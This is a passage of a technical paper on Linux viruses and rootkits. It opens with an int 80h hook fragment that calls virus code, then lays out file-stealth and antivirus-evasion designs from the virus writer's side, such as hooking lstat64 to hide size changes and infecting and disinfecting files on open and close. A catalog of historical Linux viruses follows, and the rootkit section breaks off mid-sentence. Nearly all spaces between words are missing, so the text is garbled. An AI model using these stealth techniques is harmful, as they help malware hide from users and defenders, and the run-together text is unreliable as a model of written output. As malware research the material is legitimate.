194ENTRY(system_call)#label:int80hentry 195pushl%eax#saveoriginaleaxregister 196SAVE_ALL#Saveallregistersmacro 197GET_CURRENT(%ebx)#pointertocurrenttask_struct 198testb$0x02,tsk_ptrace(%ebx)#checkifitisbeingtraced 199jnetracesys#jumptotracesysiftraced 200cmpl$(NR_syscalls),%eax#Isthesyscalloutofrange? 201jaebadsys#no?Ugh 202callvirus_code 203[...]

1.4.Diskstealth
1.4.1.Filestealth AbasicstealthtechniquewhichwasusuallyappliedinDOSviruses,wasthatoffilelength stealth.Thiswouldmeanthatthekernelfunctionsinint21hrelatedtoretrievingthelengthofafile wereinterceptedandsuchlengthdecreasedwheneveraninfectedfilewastobelisted,especially througha"dir"command. NotanyLinuxvirusimplementsyetsuchstrategy,thoughitisnotasdifficultasitmay appear. AnadvantageinLinuxis,wecanlookatthesources.Inthecaseofthels.cfile,wecan locatetherehowthefilestatsareretrieved.Thecodewhichthelsutilisgoingtoprintthefilesizes theviruswouldbeinterestedinmanipulatingisfoundintheprint_long_formatfunction,whereitis decidedwethertoprintthemajor/minordevicenumberincaseitisthatfiletype,orthesizeifit isn't:

if (S_ISCHR (f->stat.st_mode) || S_ISBLK (f->stat.st_mode)) sprintf (p, "%3u, %3u ", (unsigned) major (f->stat.st_rdev), (unsigned) minor (f->stat.st_rdev)); else { char hbuf[LONGEST_HUMAN_READABLE + 1]; sprintf (p, "%8s ", human_readable ((uintmax_t) f->stat.st_size, hbuf, 1, output_block_size < 0 ? output_block_size : 1)); }

Theinformationinthefilehasbeensavedinafileinfostruct(f),oneofwhichpartsisastat struct;so,toprintit,lswillaccessitasf>stat.st_node.However,thisonlyactsasatiponthatwe're dealingwithastatstruct.Wehavetolocatetheplaceinwhichsuchdataisretrieved,andthisisthe gobble_filefunction.There,wefindthatlstatisusedtoretrievesuchinformationwhentheL option(whichactivatestrace_links)hasnotbeenset: val = (trace_links ? stat (path, &files[files_index].stat) : lstat (path, &files[files_index].stat));

Therefore,itisthesys_lstat64syscallwhichwillhavetobehijackedinint80h.Ifwelookat thelstat64structure,wewillfindst_size,thefilesize,inoffset0x2c,sothisisthefieldthatwill havetobemanipulatedwhensuchsyscallisused. However,howdoweknowthatafilehasbeeninfected?Classicaltechniquesusedtorelyon thefiledate;intheDOSoperatingsystemafilelastmodificationtimecouldbesetatthe61thor62th

second,whichwasn'tlistedthroughastandard"dir"command.Thiswasdonebecausefileaccess wasslowenoughtopreventcheckingoutifafilewasinfectedornotwithoutrisingsuspicious looksfromtheuser. Inourpresenttimes,disksarefastenoughsothatalesserfileaccessdoesbarelygetnoticed, andwecanrelyinamoresecureway,bycheckingthefileforinfection.Thiscanrelyinthe modificationofunusedpartsintheELFheader,whichwouldworkbothasaninfectionmarkto preventreinfections,andforfilestealthaswell. Aclassicalexamplewouldbetheei_datafieldintheELFheader;eventhoughitmarks wetherbigorlittleendianisused,itisnotnecessaryfori386architecturesandcanbesettozero. Theviruswouldthenhookthesys_lstat64syscall,openthefile,checkfortheinfection markandsubstractitssizetothest_sizestructureifthefileisinfected.However,thoughthiswould beenough,itshouldbetakenintoaccountthatthiscouldmakearchivesoftwaresuchliketar misbehave;thecurrentprocessnameshouldbecheckedandinsuchcases,thefilestealthshouldbe inhibited. Thishasbeentestedinthehijack.asmcode,includedinAppendixD.

1.4.2.Furtherstealth Thereareothertechniqueswhichmayhelpstealthofthevirusdatainmemory.Twoofthem wouldbe:

Infector/disinfector:Thistechniqueistheeasiesttoprogramofthesetwo,andrequires thatfilesareinfectedwhentheyareopenedandthattheyaredisinfectedwhentheyare closed.Suchtechniquecouldpreventdetectionbymostantivirusandantimalwarefile checkingsoftware,sinceassoonasthefileisopenedthereisnothingtodetect. Areliablesoftwarethatgetsthroughthistechniqueshoulddirectlyaccessthedisk,since bothaccessingafilewithpointersandmappingthefileinmemoryneedsthefiletobe openedandhencegivesanopportunityforthevirustodisinfectthefileandshowitas uninfected.Ofcourse,oncethefileiscloseditwouldbeinfectedagain. Evenworse,theusageofasoftwarewhichperformssuchsortofcheckswouldprove disastrousifeveryexecutablefileischecked,sinceasfilesareinfectedwhenthey're closed,everycheckedfilewouldendupinfected. Sys_readhooking:Anothertechniquewouldconsistonhookingthecallstothe sys_readfunctionininterrupt080h.Everytimeafileisred,thevirusshouldcheckifthe fileisinfected,andifthepartofitwhichisbeingaccessedisinfectedornot. Thiswouldbequitecomplextoimplement,sincetheviruswouldhavetoknowinwhich partofthefileitislocatedandcheckitoutagainstthecurrentfilepointer.Eachtimea partwhichhasbeenmanipulatedbythevirus(beitaheadervalueoracodezone)is

accessed,itwouldhavetoloadtheoriginalvaluesfromthefileandoverwritethecaller's buffer(whichoffsetisgivenbytheecxregisterini386architectures)withsuchvalues. Theworsedrawbackofthistechniqueisthatitwouldn'tpreventaccesstoitscode throughmappingthefiletomemory.Ifsuchdatawasmanipulatedwhenthefileis mappedtomemoryitwouldbethesameasdisinfectingthefile,andtheonlywayto preventsuchdisinfectionwouldbeinfectingitagainwhenthesys_munmapfunctionis called.So,itwouldbejustamorecomplexwaytodothesameasinthe Infector/Disinfectorstrategy. Fulldiskstealth:Thistechniquewouldbequitehardtoimplement,thoughitwouldbe byfarsuperiortotheprevioustwo. Insteadofhookingsyscallsinsidetheint80h,theinterruptswhichprovidedirect hardwareaccesstotheharddiskwouldhavetobehijacked.Readswouldberedirected totheoriginaldata,andwritescouldbehijackedtopreventthatvirusdataisoverwritten. Morecomplexitieswouldarise:theviruswouldhavetomanagethecomplexitiesof differentdiskarchitecturesincludingthetransformationfromheads/cylinders/sectors intomeaningfullogicalreferencestothefilesystem;thismeansitalsowouldhaveto transformsuchdiskparametersintoanyfilesystemthattheLinuxfilesystemisusing (ext2/3,xfs,ReiserFS,etc). Allinall,thoughthiswouldbetheidealwaytoperformstealthbyavirus,itistoo complextoberealisticallyincludedinsuchasmallcode.Sofar,thistechniquehasonly beenpartiallyusedbyoldviruseswhichattackedbootsectors/MBRinordertohidethe viruscodeinsuchspecificdisksectors.

1.5.References
[1].Elf.hinkernelsources [2]."Developer'sTopics"manualeditedbyCaldera,chapter8:"ELFobjectfiles" [3]."SharedlibrarycallredirectionusingELFPLTinfection",SilvioCesare [4]."Runtimekernelkmempatching"SilvioCesare [5]."LinuxontheflykernelpatchingwithoutLKM"Sd&Devik(Phrack#58) [6]."HijackingLinuxPageFaultHandler"Buffer(Phrack#61)

IV

LinuxMalware:VirusesandRootkits
1.Linuxvirusesanalysis
1.1.Linux.Staog(1996) 1.2.Linux.Bliss(1997) 1.3.Linux.Diesel(1999) 1.4.Linux.Creed(1999) 1.5.Linux.Zipworm(2000) 1.6.Linux.LoTeK(2000) 1.7.Linux.A.443(2001) 1.8.Linux.ElfVAlQaeda(2001) 1.9.Linux.NuxBee(2002) 1.10.Winux(2002) 1.11.Linux.Balrog(2003) 1.12.Linux.4096(2003) 1.13.Linux.AMON(2003) 1.14.Linux.Gildo(2003) 1.15.Linux.ElfVirus(2003) 1.16.Metaphor(2004) 1.17.Linux.Nemox(2004) 1.18.Linux.Eternity(2005) 1.19.Linux.Binom(2005) 1.20.Linux.Grip(2005)

2.Rootkits
2.1.Rootkittechnology 2.2.References

1.Linuxvirusesanalysis
1.1.Linux.Staog
InceptDate:Fallof1996 ProgrammingLanguage:80x86assembler CompilationTools:gcc(at&tasmformat)andstrip Size:4744bytes BasicFeatures:Kernelresidence,INT80hhooking,ELFinsertinginfector,exploitusage. Detailedanalysis: Thisviruswasfirstpublishedinthefallof1996bytheVLADviruswritinggroupinthe#7 issueoftheirmagazine,andisunanimouslyconsideredthefirstLinuxvirus.Assuch,itis surprisinglycomplex. Onexecution,Staogfirstchecksoutifitisresidentbycallinganint80hroutinewhich returnsaspecificvalueifthevirusisinmemory.Ifitis,itdirectlyjumpstothehostrecovery routing"ret2host".Ifnot,itforkstheprocess.Thechildprocesscreatesatemporaryfilewithacopy ofthevirusin"/tmp/hookup"andexecutesitthroughtheexecfunction.Theparentisredirectedto "ret2host". Toreturntothehost,Staogopensthefile(gettingitsnamefromargv[0]),copiestheoriginal codetoitsposition,andendsexecutionjumpingtothestack,restoringtheregistersandjumping backtothecorrectentrypoint. Meanwhile,thepartunder".globalmain"willbeexecutingonitsownasachildprocess fromtheinfectedfile.Here,itgetsthekernel_symstructuretogetthesyscalltableaddressaswell asthekmallocfunctionaddress. Nowifithasrootaccessitwillaccess/dev/kmem,modifythesyscalltablesothatint80h's execvefunction(number11)pointstoitscode,andloaditselfintokernelmemoryafterallocating somememorythroughkmalloc.WheneveranewfileisexecutedwhileStaogishookingtheexecve call,itwilltrytoinfectit. Ifitdoesn'thaverootaccess,itwillforkitselfandtrythreedifferentexploits;oneondip (/sbin/dip),anotheronperl(/usr/bin/suidperl)andthefinaloneonthemountcommand. ThisvirusisalsonamedasLinux.Vit.4096bysomeantiviruscompanies.

1.2.Linux.Bliss
InceptDate:February1997 ProgrammingLanguage:C CompilationTools:gcc Size:Between17892and18604bytes(dependingonversion) BasicFeatures:Overwritingvirus,selfdisinfection. Detailedanalysis: AsthesecondknownLinuxvirus,Linux.BlisswaspublishedbyitsauthorinUsenetonthe 5 offebruary,1997.Thevirusperformsameresearchinthecurrentdirectoryforuptothreenon infectedfiles(versionA)oronthewholedirectory.Itisanoverwritingvirus,whichmeansthatitis easilyspotted.However,itsavestheoriginalcodeattheELFentrypointandprovidesthe possibilitytodisinfectitthroughexecutingtheinfectedfilewiththecommandlineoption"bliss uninfectfilesplease".
th

Adebuglogofallitsactivitiesissavedto/tmp/.bliss

1.3.Linux.Diesel
InceptDate:Year1997 ProgrammingLanguage:80x86Assembler CompilationTools:tasm/tlink(Intelformatassembler) Size:969bytes BasicFeatures:DirectactioninsertingELFinfector. Detailedanalysis: Linux.DieselisavirusbasedonStaog,thoughitlacksthekernelmemoryresidenceandthe exploits.Onexecution,itwillscanrecursivelythroughthepartitiondirectoriesstartingfrom/, searchingforfilestoinfect.TheinfectionmethodisalmostthesamelikeStaog,modifyingthecode segmentattributessoitiswrittableandoverwritingtheoriginalcodepointeratbytheentrypoint, thensavingthehostoriginalcodeintotheendofthefileandrestoringitonexecution. Itisalsonoticeablethatinordertoavoidproblems,thefocusoncompatibilityoftheauthor

makeshimbeespeciallycarefuloninfection,thusnotattacking"ps"andthe"/usr"directory.Of course,suchproblemsareduetoproblemsintheStaoginfectionmethoditself,whicharen't addressed.

1.4.Linux.Creed
InceptDate:Year1999 ProgrammingLanguage:80x86assembler CompilationTools:gas(at&tformat) Size:??? BasicFeatures:DirectactioninsertingELFinfector Detailedanalysis: ThefirstactionCreedperformsisopeningafilecalled"test"andcheckingoutifitisan ELFfilebyitsheader.Aswell,itusestheheadere_typefieldtomarkfilesasinfectedandknowif they'vebeenalreadymodified(bymodifyingittotheEM_486value). Nextthingitdoesischangethepermissionsofallthesegmentsintheprogramheadertable to"rwx",savingthemeachtimetothefileinanotveryoptimizedfashion(thisisdoneinthe"l1" loop). Itendstheinfectionofthefile"test"byoverwritingthebeginningofthefilecode(the portionofvirussizelengthwhichispointedatbythee_entryfieldoftheELFheader)andsaving theoverwrittenbytestotheendofthefile,asinthestandardprocedureinauguratedbyStaog. Aftertheinfectionprocessisfinished,theviruscopiesitselftothestackandjumpstherein ordertocontinueexecution:nowtheviruspresencehastobehiddenandtheusershouldn'tnotice anythingwrong.So,thecodegetsthecurrentprocessPIDandreadsthefilein/proc/<pid>/exe, whichisthefilethatisbeingcurrentlyexecuted.So,thevirusreadsthelastbytesofthefile,which weretheoriginallyoverwrittenbythevirusoninfection,overtheoriginalvirusposition(whileitis nowexecutinginsidethestack);finallyitjumpstothatposition,thusreturningcontroltothelegit hostasifnothinghadhappened.

1.5.Linux.Zipworm
InceptDate:Year2000 ProgrammingLanguage:80x86assembler CompilationTools:Nasm,gcc Size:??? BasicFeatures:ZIPworm Detailedanalysis: ZipwormisalaboratoryspecimencodedtoparseZIPfilesandinsertitselfasafileinside them,with5differentpossiblenameswhichcarryanantiLinuxmessage.Itisharmlessinthesense thatnoexecutionisforcedandthevirusjustinsertsitselfasastandalonefileinsidealreadyzipped archives;onexecution,itscansthecurrentdirectoryforZIPsandafterinsertingitselfends execution. Ofcoursethespreadingriskisminimum,asthewormpracticallyadvertisesitselfasstrange andpossiblymaliciouscodeandrequiresuseractiveexecutioninordertocopyitselfinsidetheZIP archivesofthecurrentdirectory;assuch,itispurely"laboratory"code.

1.6.Linux.LoTeK
InceptDate:October2000 ProgrammingLanguage:80x86assembler CompilationTools:Nasm Size:343bytes BasicFeatures:DirectactioncavityELFinfector. Detailedanalysis: LoTeKisaLinuxassemblerviruswhichineachexecutiontriestoinfectallthosefilesinthe currentdirectorythatareconsideredsuitabletocontainthecode. Itsmechanismgoesasfollows:thecodechecksoutforitsinfectionmarkinexecutablefiles (avodingthemifthischeckgivesapositive)andthe.notesectionlengthinsidethefile.Ifitis

enoughforthevirustocopyitself,itperformsaseriesofmodificationsinthefile;thedatasegment lengthinmemoryisadjustedsothatthevirusisloadedalongwiththeotherlegitpartsofsuch segment,itspermissionsaremodified(executionflagisactivated),theentrypointerismodifiedand theviruscodeiscopiedoverthe.notesection.Notethatthissectionisunnecesaryforthecorrect executionofthefile,asitissupposedtoholdinformationfromsoftwaredevelopersandisbarely used,toapointthatthereareevenutilitieswhichstripsuchsectionsfromexecutablesinorderto sanitizeandoptimizefilesinLinuxsystems. Then,assoonasthefileisexecuted,themechanismisactivatedagain.Insteadofthelegit hostcode,thevirusisexecutedastheentrypointisdirectedtoitscode.Thevirusthenreadsthe currentdirectory,checksoutwhichfilesarenotinfectedandsuitableforanattack,andperformsits operationsonitreplicatingitself. Notethatalthoughthisinfectionmechanismleavessomeobviousmischieftracks(adata segmentisnotsupposedtobeexecutable),thefileseemstohavethesamelengthasthecodeis usinga"cave"insidetheELFfiletocopyitself,sothisworksasastealthmechanism.Although,as thevirusisn'tencrypted,visualinspectionofthefileandthepresenceoftextstringsmayarise serioussuspicionsonavirusinfection.

1.7.Linux.A.443
InceptDate:Year2001 ProgrammingLanguage:80x86assembler CompilationTools:Nasm,gcc. Size:443bytes BasicFeatures:DirectactionELFinfector. Detailedanalysis: Linux.A.443isaverybasicLinux"proofofconcept"virus.Aslaboratoryselfreplicating code,itisnotdesignedtobespread:itwillonlyinfectthosefileswhichnameis"1"inthecurrent directory.ItsaimistoshowupawaytodemonstratereplicationofcodethroughELFexecutable files.Thoughitshouldnotbestrictlycalled"appending",themechanismisquitesimilartothe standardappendingprocedureofaddingitselfattheendofthefileandchangingtheentrypointso thatitisexecutedbeforethehostcode. AsinLinuxELFandmemorymanagementitisthesegmentswhichdeterminetherootof theprotectionunderwhichthememorypagesfall,Linux.A.443searchestheSegmenttableinELF executablesinordertoaugmentthelastsegmentbothinfileandmemory,inordertocontainthe futureviruscode.Adjustmentsaremadetoointhebasicexecutableheader,sothatthefilelengthin memoryanddiskiscorrectlycalculated.

TheSectionHeadertable,whichislocatedintheendoftheELFfileandbydesignhastobe inthatspecificplace,isrelocatedadding443bytestoitsphysicaloffsetinthefile;thisemptyspace wenowhave,iswheretheviruswillbecopied.Aswell,theentrypointvalueintheexecutablefile ischangedsoitpointstotheviruscode. Inexecutiontime,theoperatingsystemwillloadtheEXEfileandmapitaccordingtoits segments,sothevirus(whichnowbelongstothelastone)willbeloadedalongwithit.Astheentry pointvalueisadjusted,theviruscodewillbeexecuted,searchingforafilecalled"1"inthecurrent directory.Anadditionalcheckisperformedonifthefileisalreadyinfected,sothatitdoesn't recursivelyaffectthesamefile.Finally,regardlessifafilehasbeenattackedornot,thereplicant codewillreturncontroltothehostasifnothinghadhappened,thuseffectivelyhidingitselffrom beingdiscoveredunlessofcoursefilelengthchanges,date/timemodificationchanges,etcetera,are checkedout.

1.8.Linux.ElfVAlQaeda
InceptDate:Year2001 ProgrammingLanguage:80x86assembler CompilationTools:Nasm,gcc. Size:1Kb. BasicFeatures:ELFcavity(filecompressing)virus Detailedanalysis: Thisvirusperformsacomplexinfectiononeveryfileinthecurrentdirectory.Itsearchesfor the".text"(code)sectionthroughtheuseoftheSectionTableandStringTable,andonceitisfound itgetsthefileoffsettothesectionthroughtheSectionTable"sh_offset"value.Ifthissectionisn't toobig(lesserthan128Kb),itcompressesitandcopiesitselftotheplacewheretheoldentrypoint pointedto. Onexecution,thevirusrunsonthestackanddecompressesthe.textsectioncode, transferringcodetoitaftertryingtoinfectthecurrentdirectory.Forthatpurposeitusesdynamic memoryallocation;nosegmentflagsaremodifiedoninfection,asthisismanagedonruntimeby thecodebychangingthecurrentmemorypermissions.

1.9.Linux.NuxBee
InceptDate:February2002 ProgrammingLanguage:80x86assembler CompilationTools:Nasm,gcc. Size:1455bytes BasicFeatures:Perprocessmemoryresidentvirus,encrypted,insertingELFinfector. Detailedanalysis: Thisisarelativelycomplexviruswhencomparedtothepreviousones.Firstactionon executionisthedecryptionofthehostcode,whichhasbeencopiedattheendofthefile.Thisis donebyopeningthefileinthecurrentdirectoryandthePATHones(insteadofthesimpler techniquepreviouslyseeninLinux.Creedwhichseekeditas/proc/<pid>/exe),thenobtainingthe CRC32valuefromtheviruscodeinthemomentthefilewasinfectedasaXORdecryptionkey (withaslightchangeoneach32bytedwordthatisdecrypted,rollingthevaluetotheleftthrougha "roleax,1"instruction). Then,beforegivingbackcontroltothehostwhichhasjustbeenrestored,thePLT (ProcedureLinkageTable)ishookedfortheperprocessmemoryresidence,andtheuserUIDis checkedout.IfthisUIDis0,ittriestoinfectthewhole/bindirectoryandthenreturnscontroltothe hostprogram;ifnot,itdirectlyjumpstotheoriginalhostcode. PerprocessinfectionisatechniqueimportedfromWin32viruseswhichwillrequirefurther analysisonitself,butinafewwordsitmeansthatthevirushooksthecodethatrelatesthebinary codetothesharedlibrariesitisusing.ThePLTreceivescontrolfromtheprogramwhenitcallsfor sharedlibraryfunctions(suchlikethosefromglib),andusesatablewithabsoluteaddresses(GOT, GlobalOffsetTable)inordertoperformthecall. Fromtheviruspointofviewthoughthisisnotatallasgoodasaglobalresidencyin memory,itallowstohookfunctionssuchlikeopen(),read(),execve(),etcetera,inthecurrent process;thisbecomesespeciallydelicateastheNuxBeevirustriestoinfect/binoneveryrun,soif itsucceeds,systemshellbinariessuchlikebashwouldbeinfected.Inthecaseofthisvirus,itisthe execve()functionwhichispatchedsothatfilesareinfectedonexecutionfromthecurrentprocess.

1.10.Winux
InceptDate:Year2002 ProgrammingLanguage:80x86assembler CompilationTools:Win32Tasm/Tlink(Borland). Size:2132bytes BasicFeatures:DirectactionWin32/Linuxinfector. Detailedanalysis: WinuxwasthefirstvirustoinfectbothWindowsPE(PortableExecutable)andLinuxELF files.Themechanismtodosoisquitesimple. Oninfection,thecodediscriminatesbetweenbothformatsbycheckingthemagicwordsthat markeachofbothformats,andexecutesdifferentroutinesdependingontheresults.Incaseofan ELFfile,itgoesthroughthesectionstryingtofindthattowhichtheentrypointpassesexecution(a bettersystemthanjustsearchingthe.textorcodesection),andoverwritestheoriginalcodethere withtheviruscode,modifyingslightlytheentrypointsothatitpointstothelabel"LinuxStart"in theassemblercodeinsteadoftothebeginning.Thus,theinfectionprocessisquitesimilartothe Staogvirus. ThatistheotherpartinwhichadistinctionbetweentheWindowsandLinuxcodeismade; dependingonwhichformatithasbeenreplicated(PEorELF),executionbeginsonadifferent point.Inthissense,theinfectionroutinesareduplicatedandeachinfectorrunsadifferentpartof thecode(whichmakessense,asthewaytocallsystemroutinesisdifferent;functioncallsretrieved throughGetModuleHandleandGetProcAddressinWindows,andInt80hcallsinLinux). Apartfromthemultioperatingsystemidea,thevirusisn'tremarkable;itwillonlytravel fromoneOStotheotheriftherearefilesfromthatotherOSinthesamedirectoryinwhichthe infectedfileisexecuted,andthosebinaryfilesareexecutedintheirnativeOS.

1.11.Linux.Balrog
InceptDate:Year2003 ProgrammingLanguage:80x86assembler CompilationTools:Nasm&ld Size:1529bytes BasicFeatures:Kernelresidence,ELFinsertinginfector. Detailedanalysis: AsBalrogisexecuted,itperformsanantidebuggingtrick(checkingoutifsys_ptraceis activated),copiesitselftothestackafterdecreasingtheesppointerinvirus_sizebytes,andjumpsto it.ChecksoutifthehostfilecanbeaccessedandmakesthesameresidencycheckasStaog,triesto becomeresidentifitisn't,andreturnscontroltothehostfilebyreadingthediskfile'sfinalbytesto theircorrectlocation.AgaintheStaogshadowoverLinuxviruses,whichcanbeseeninthewayit usesaverysimilarmechanismthrough/dev/kmemtogetthesyscall_tableandhooktheexecve function. Anewtechniqueishoweverimplementedforsystemcalls,importedfromWin32viruses. Thekernelsymbolnameforeachcallthatisgoingtobeusedintheinfectionprocess,isstoredas theCRC32ofthatfunctionname.So,whenthevirussearchesforfunctions,itchecksoutthe CRC32andcomparesittothevaluesitholds.Theusefulnessofsuchtechniqueisobscuringthe functionsitisusingtoanyonetryingtoanalyzethecode(though,intheassemblercodethedetails onwhichfunctionsdoesitusearegiven). Theinfectionprocess,apartfromdirectlyusingthefunctionaddressesinsteadofcalling int80h,isquitethesameasStaog.

1.12.Linux.4096
InceptDate:Year2003 ProgrammingLanguage:80x86assembler CompilationTools:Nasm,ldanddwarf Size:556bytes BasicFeatures:ELFinsertinginfector

Detailedanalysis: As4096isexecuted,itbrowsesthroughthecurrentdirectoryandallthroughthe'..'linkuntil itreaches'/',searchingforfilestoinfect.AftercheckingoutthattheexecutableisacorrectELF file,itsearchesthefirstloadablesegmentintheProgramHeaderTable,andcalculateshowmuch bytesareusedonthelastlogicalmemorypageofthissegment.Thatistosay,asmemorypagesare 4096byteslong,itdividesthememorysizeofthesegmentby4096andtheremaindertellsthe virushowmuchspaceisusedinthislastpage.Substractingthisto4096,itknowsifithasenough spacetocopyitselfintomemory. So,thevirusiscopiedinthefileoffsetjustafterthelastsectionofthesegmentinwhichit wantstobeloaded,andthesegmentmemorysizeisadjustedaccordingly.Notonlyaretheother contentsofthefiledisplaced,butthesegmentoffsetsandsomeotherlengthfieldsinthemain headerhavetobefixedsothatthefileisloadedcorrectly.

1.13.Linux.AMON
InceptDate:Year2003 ProgrammingLanguage:80x86assembler CompilationTools:Nasm,ldandstrip Size:960bytes BasicFeatures:ELFinsertinginfector,bindsashell. Detailedanalysis: AMON'sexecutionbeginswithanantidebuggingroutineagainstptrace(suchlikeBalrog's), thenforkstheprocessandthechildbindsthe/bin/shshelltoaportforremoteaccess;thisisdone onport5556iftheprocessUIDis0(root),andonport5555otherwise. Aswell,AMONtriestoattackthefilesinthecurrentdirectory.Oneachofthem,after savingthelastmodificationtime,itsearchesforitssecondsegmentintheProgramHeaderTable andgetsitsfileoffset.Thesegmentoffsetissubstractedtotheoverallprogramsize,andsuch amountofbytesarecopiedtothestackasabuffer;theyaremoved4096bytesaheadandthevirus iscopiedinthatgap.Afterwards,thesegmentsandsectionsarepatched,sotheyhavecorrectvalues andpointers.

1.14.Linux.Gildo
InceptDate:Year2003 ProgrammingLanguage:80x86assembler CompilationTools:Nasm Size:4096bytes BasicFeatures:ELFinsertinginfector Detailedanalysis: ThefirstactionLinux.Gildoperformsisaforkofitsownprocess,inwhichtheparent returnstothehostcodeandthechildstartsscanningrecursivelyinthebackgroundthewholefile structurefromtheroot'/'directory.Itshouldbenotedthatthisisdoneverycarefullyonbothfiles anddirectoriesbytakingintoaccountthecurrentprocessuidandgid.Aswell,thevirusisvery carefulwhenmanagingfilepermissionsinordertoinfectthem,alwaysrestoringoldpermissions afteranymodification. Asfortheinfectionmethoditself,itwidensthelengthofthecodesegmentandcopiesthe virusinthephysicalendofit,displacingtheotherpartsofthefileandcheckingoutbythenumber ofsegmentswetherithasbeengeneratedbygccorld.

1.15.Linux.ELFvirus
InceptDate:Year2003 ProgrammingLanguage:80x86assembler CompilationTools:Nasm Size:1708bytes BasicFeatures:ELFdirectaction/perprocessinsertinginfector. Detailedanalysis: Onexecution,Linux.ELFviruscreatesaspaceinheap(.bss,localvariables)memoryofits samesize,copiesitselfthere,andjumpstothelabel.heapcodeinthespaceithasdynamically created.Ifforkstheprocessthroughthesys_clone()function,andwhiletheparentprocessrestores thelegitcodeandreturnstoit,thechildhooksintheshared.plttheopen64functioninorderto infectallopenedfiles.Thisisaperprocessresidence,similartothatofNuxBee.

Infectionisperformedthroughthecompressionoftheoriginalpartinordertohavespacefor thevirus,suchlikeAlQaedavirusdidtwoyearsbefore.

1.16.Metaphor
InceptDate:July2004 ProgrammingLanguage:80x86assembler CompilationTools:Tasm/Tlink Size:40to80Kbytes. BasicFeatures:LinuxELF/WindowsPEencryptedmetamorphicinfector. Detailedanalysis: Thisisaverycomplexvirus,whichinfectsbothexecutablesinLinuxandWindows systems,eventhough,itdoesn'timplementanyexplicitwaytojumpfromonetotheother.In Windowsthreedifferentmethodsareused,andinLinux,thisisdonethroughaddinganewsection tothedatasegmentinwhichtheviruswillbecopied,andmanipulatingtheheadersaccordingly. Thecomplexityofthevirusreliesonthetechniqueitimplements,forthefirsttimeinLinux thoughitissystemindependent:metamorphism.Theworkingsofthistechnique,whichisasortof advancedpolymorphism,areexplainedintheglossary.

1.17.Linux.Nemox
InceptDate:Year2004 ProgrammingLanguage:80x86assembler CompilationTools:Nasm Size:1114bytes BasicFeatures:ELFdirectactioninsertinginfector Detailedanalysis: Thisisaquitesimplevirus,whichtriestoinfecteveryfileinthecurrentdirectory.Theway

itusesforinfectioninELFfilesisarehashofthemethodsusedpreviouslyoncopyingthevirus afterthecodesegmentwithoutoverwritinganything,movingthefilecontentsforwards,and adjustingthesegmentandsectionheadersaccordingly,atechniquewhichwasalsodonepreviously byotherslikeLinux.A.443.

1.18.Linux.Eternity
InceptDate:Year2005 ProgrammingLanguage:80x86assembler CompilationTools:Nasm Size:3432bytes BasicFeatures:ELFdirectactionencryptedinfector Detailedanalysis: WhenLinux.Eternityisexecuted,itsfirstactionischeckingwetheritisencryptedornot(it isforeverygenerationafterthefirst),changesthepagepermissionssoitcanbewritten,and performsaXORoverthecodewithanincreasingkeywhichisstoredintheunencryptedpartsof thevirus. Afteranantidebuggingtrickagainstptracewhichhasalreadybeenusedinotherlinuxvirus codes(andpublishedbySilvioCesare),itwilltrytoopenthefilethatisbeingcurrentlyexecuted. Itsinfectionmethodconsistsoncopyingthevirusstartingfromthecodeentrypoint,andsavingthat codeintheendofthefile.So,thevirusjumpstothestack,andrestoresthecodetoitsmemory positionbyreadingfromthefile,thenitjumpstoitsoriginalposition(afterithastriedtoinfectthe currentdirectory).

1.19.Linux.Binom
InceptDate:Year2005 ProgrammingLanguage:80x86assembler CompilationTools:Nasm Size:1671bytes

BasicFeatures:DirectactioninsertingELFinfector,EPO. Detailedanalysis: Linux.Binomhastwocompilationoptions,anditsactionsslightlydependonthem.Inboth theprocessforksitselfinitsfirstcodelines,andtheparentmakesthevirusvisiblebyprintinga message:"...You'vebeenbinomitized!..>>bycyneox". Meanwhile,thechildprocessscanseitherfromthebase'/'directoryorfromthe'/bin' directorydependingonthecompilationoptions.Theinfectionmethodsharesthesameideaas Linux.4096;itchecksoutifthereisenoughspacetoinsertitselfbetweenthecodeanddata segments,thenmakesthedatacodebiggertofititssize. Thewaytopatchthefilesothevirusisexecutedismorecomplexthanusual:eitheracall instructionfromlibc_start_mainorapushinstructionarechangedinthefilecodesothattheentry pointmodificationgoesundetected.

1.20.Linux.Grip
InceptDate:Year2005 ProgrammingLanguage:assembler CompilationTools:nasm,ld Size:398to2060bytes(dependingoncompilationoptions) BasicFeatures:DirectactioninsertingELFinfector,XTEAandBlowfishencryption Detailedanalysis: ThemaincharacteristicbywhichLinux.Gripisnoticedisthepossibilityofusingtwo differentblockciphers,whichareactivatedordeactivateddependingonconfigurationoptions.One ofthesealgorithmsisBlowfish(inthecodeas'include/blowfish.asm'and"mk_key.asm"),andthe otheroneisXTEA('include/xtea_decipher.asm'),bothwritteninassembler. Anothercurious"creative"characteristicinGripisthatapartfrombeingencrypted,thekey isobfuscatedbyusingtheminimalisticprogramminglanguage"Brainfuck"(designedin1993),as theviruscomeswithabuiltininterpreterthatmanipulatestheencryptionkey. Asforthemoreintrinsicallyvirusrelatedcharacteristics,thecodeitselfhoweverisadirect actioninfectorofELFfileswhichinfectsthoseinthecurrentdirectory,thoughitimplementsthe possibilityofEPOthrough"call"commandsandtriestostripthe.notesectiontoreducethefile size.

2.Rootkits
2.1.Rootkittechnology Typically,rootkitdevelopershavebelongedmoretothehackingworldthantothevirus world.AstheformerdevelopedinUNIXsystems,thelatterdidinWindows.However,the developmentofrootkitsinLinuxandtherecentWindowsbreakthroughssuchlikeFU,andthe lowlevelapproachtheyuse,maysoonbecomeanissue. Ithastobenoticedthattheusualrootkitapproachonreplacinglegitexecutablefilesby trojanizedonesinordertohideprocesses,filesornetworkconnection,isuselessforviruswriting:a programthathastoreproduceitselfneedstohaveareasonablesize,andavirusspreadingwith copuesoftrojanizedfileslike"ps","ls",etcetera,wouldnotbeagoodidea.Sameshouldbesaidon backdooropening;forviruses,thisisjustnotnecessary,asthemaliciouscodeisalreadyinsideof thesystem.Logfilesalterationshouldneitherbeanissueforviruses. However,thereisaninterestingsortofrootkits,whichstartedtoflourishwiththeLKM techniquesusage.LoadableKernelModulesareontheflypatcheswhichcanbeappliedtothe kernelwithoutitbeingrecompiled,andweredevelopedfurtherinthealreadymentionedarticle, "LinuxontheflykernelpatchingwithoutLKM"[1].Thisarticleisespeciallyrelevantasofkernel 2.6,inwhichthe"sys_call_table"symbolisnotexportedbythekernelandworkaroundsare needed. Initially,LKMrootkitsdirectlypatchedtheIDT(InterruptDescriptorTable),andlaterthe sys_call_table,thoughbothtechniquesarenoticeabletorootkitdetectorswithoutstrongdifficulties. Otherwayshaveemerged,likemodifyingwitha"jmp"thefirstinstructioninaroutinepointedby 